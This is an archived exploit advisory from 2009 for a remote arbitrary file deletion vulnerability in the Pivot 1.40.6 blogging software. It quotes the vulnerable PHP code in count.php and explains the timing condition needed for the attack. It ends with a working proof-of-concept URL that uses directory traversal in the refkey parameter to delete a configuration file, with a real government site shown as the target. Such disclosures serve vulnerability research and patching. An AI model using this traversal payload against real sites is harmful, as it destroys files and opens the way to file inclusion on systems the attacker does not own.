what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pivot 1.40.6 File Deletion

Pivot 1.40.6 File Deletion
Posted Mar 19, 2009
Authored by Alfons Luja

Pivot version 1.40.6 suffers from a remote arbitrary file deletion vulnerability.

tags | exploit, remote, arbitrary
SHA-256 | df943f28944b16037e3f1e0cd5482be10fad32c24cd4c5622cb3b237439e06b5

Pivot 1.40.6 File Deletion

Change Mirror Download
Pivot 1.40.6 Remote File Delete 

Alfons Luja

Vuln :

extensions/bbclone_tools/hr_conf.php line 20

...

$bbclone_debug = false; //is never change

...

=========================================================

extensions/bbclone_tools/count.php


...


if ( ($_GET["refkey"]!="") && file_exists("$refkeydir/".$_GET["refkey"])) { [1]

if ($bbclone_debug==true) { echo "Refkey found..<br />"; }

// Getting the time offset between the web and file server (if there is any)
$offset = timediffwebfile($bbclone_debug);

if ((time() - filectime("$refkeydir/".$_GET["refkey"])) < (1000+$offset)) { [2]

include("do_count.php");
if ($bbclone_debug!=true) {
header("content-type:image/gif");
readfile("pixel.gif");
} else {
echo "Counted normally";
}
die();

} else if ($bbclone_debug==true) {
echo "too old!";
}

if ($bbclone_debug!=true) { [3]
unlink("$refkeydir/".$_GET["refkey"]);
}
}

...


1] . We can put existent file

2] . Time dependences
If current time - last modification time < 1000 + $offset (usually 1001,1002 not more)
We must wait a moment other way 'exploit dosent work'

3] . $bbclone_debug is always false so if condition from point [2] == false
We can delete some file


If register globals is ON we can using this bug to include some file

poc :

http://www.pentagon.gov/~pivot_1406_full/extensions/bbclone_tools/count.php?refkey=../../../extensions/bbclone_tools/hr_conf.php


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close